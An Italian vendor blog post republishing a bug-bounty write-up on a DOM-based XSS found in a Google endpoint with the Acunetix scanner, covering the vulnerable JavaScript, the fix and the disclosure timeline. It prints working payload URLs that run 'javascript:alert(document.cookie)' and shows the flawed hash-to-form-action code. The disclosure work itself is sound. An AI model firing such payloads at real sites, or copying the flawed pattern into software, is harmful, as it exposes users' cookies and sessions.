Listino Supporto Partner Contatti 800 13.40.41

Articoli

Icona delle News


Come abbiamo trovato un altro XSS in Google con Acunetix

24/03/20 CoreTech Blog

×Non sei ancora nostro cliente Acunetix? Diventa Partner CoreTech e visita il nostro configuratore prezzi

 

Devi essere un hacker molto pigro per non cercare di trovare problemi in Google. Link e io non siamo pigri, ma potremmo essere un po' più fortunati della maggior parte. E usiamo buoni strumenti, il che aiuta. Qualche tempo fa, abbiamo trovato un XSS in Google Cloud con l'aiuto dello scanner di vulnerabilità Acunetix. Recentemente abbiamo trovato un'altra vulnerabilità XSS. Ecco come è successo.

Andrej Leonov

Passo 1. Un rapporto dallo scanner di vulnerabilità

Come parte della nostra ricerca, eseguiamo regolarmente la scansione di vari servizi Google utilizzando diversi strumenti, tra cui Acunetix. Abbiamo semplicemente una lunga lista di obiettivi e analizziamo ciascuno di essi. Una di queste scansioni target a dicembre 2019 ha portato lo scanner a segnalare un XSS con il seguente carico utile:

https://google.ws/ajax/pi/fbfr?wvstest=javascript:domxssExecutionSink(1,%22%27%5C%22%3E%3Cxsstag%3E()locxss%22)

Tali rapporti a volte si rivelano falsi positivi e non reagiamo ad essi ogni volta, ma si trattava di Google. Quindi valeva la pena dare un'occhiata più da vicino.

Passo 2. Analisi della risposta http

Il primo passo è stato quello di esaminare la risposta HTTP in dettaglio:

HTTP/1.1 200 OK

...

<!doctype html>

 

Questa risposta sembrava contenere un modulo vuoto e un po' di codice JavaScript. Per capirlo meglio, lo abbiamo reso più leggibile:

(function() {

    var a = window.document.forms[0],

        b = location.hash.substr(1);

    b || window.close();

    var c = b.split("&"),

        d = decodeURIComponent(c[0]);

    a.action = d;

    for (var e = 1; e < c.length; e++) {

        var f = c[e].split("="),

            g = document.createElement("input");

        g.type = "hidden";

        g.name = f[0];

        g.value = decodeURIComponent(f[1]);

        a.appendChild(g)

    }

    a.submit();

}).call(this);

 

Successivamente, abbiamo cercato di comprendere ogni passaggio del codice JavaScript di cui sopra. Vedi i commenti all'interno del codice per capire come funziona.

(function() {

// Function that is going to be auto-executed 

}).call(this);

(function() {

  // The variable “a” points to a form that is empty right now

    var a = window.document.forms[0],

    // The variable b is a location hash without the # character

        b = location.hash.substr(1);

  // If there is no b (no hash in the location URI), try to self-close

    b || window.close();

  // Split the location hash using the & character

    var c = b.split("&"),

    // And decode the first (zero) element

        d = decodeURIComponent(c[0]);

  // The hash value becomes the action of the form

    a.action = d;

// The below content is not important in the context of the issue

    for (var e = 1; e < c.length; e++) {

        var f = c[e].split("="),

            g = document.createElement("input");

        g.type = "hidden";

        g.name = f[0];

        g.value = decodeURIComponent(f[1]);

        a.appendChild(g)

    }

  // The form is auto-submitted

    a.submit();

}).call(this);

Passo 3. Il playload corretto

Una volta che abbiamo capito come funziona la funzione, tutto ciò di cui avevamo bisogno era un carico utile adeguato. Ci siamo inventati il seguente:

https://google.ws/ajax/pi/fbfr#javascript:alert(document.cookie)

Abbiamo anche deciso di vedere se questa vulnerabilità colpisce altri domini Google:

https://google.com/ajax/pi/fbfr#javascript:alert(document.cookie)

La correzione

Google non ha dovuto lavorare sodo per risolvere il problema. Solo una riga di codice doveva essere modificata per eliminare la vulnerabilità:

(function() {

    var a = window.document.forms[0],

        b = location.hash.substr(1);

    b || window.close();

    var c = b.split("&"),

        d = decodeURIComponent(c[0]);

  // Only the below line needed to be changed 

  // to check if the location hash begins with http:

    0 != d.indexOf("http") && window.close();

    a.action = d;

    for (var e = 1; e < c.length; e++) {

        var f = c[e].split("="),

            g = document.createElement("input");

        g.type = "hidden";

        g.name = f[0];

        g.value = decodeURIComponent(f[1]);

        a.appendChild(g)

    }

    a.submit();

}).call(this);

La cronologia

  • Vulnerabilità segnalata: 27 dic 2019, 01:01 AM
  • Vulnerabilità valutata: 27 dic 2019, 08:32 PM
  • Problema risolto da Google: 8 gennaio 2020
  • Bounty pagato: 8 gennaio 2020
  • Importo del premio: USD 5000

Ripe Ncc Member
vmware
CloudLinux
Plesk
HP
Microsoft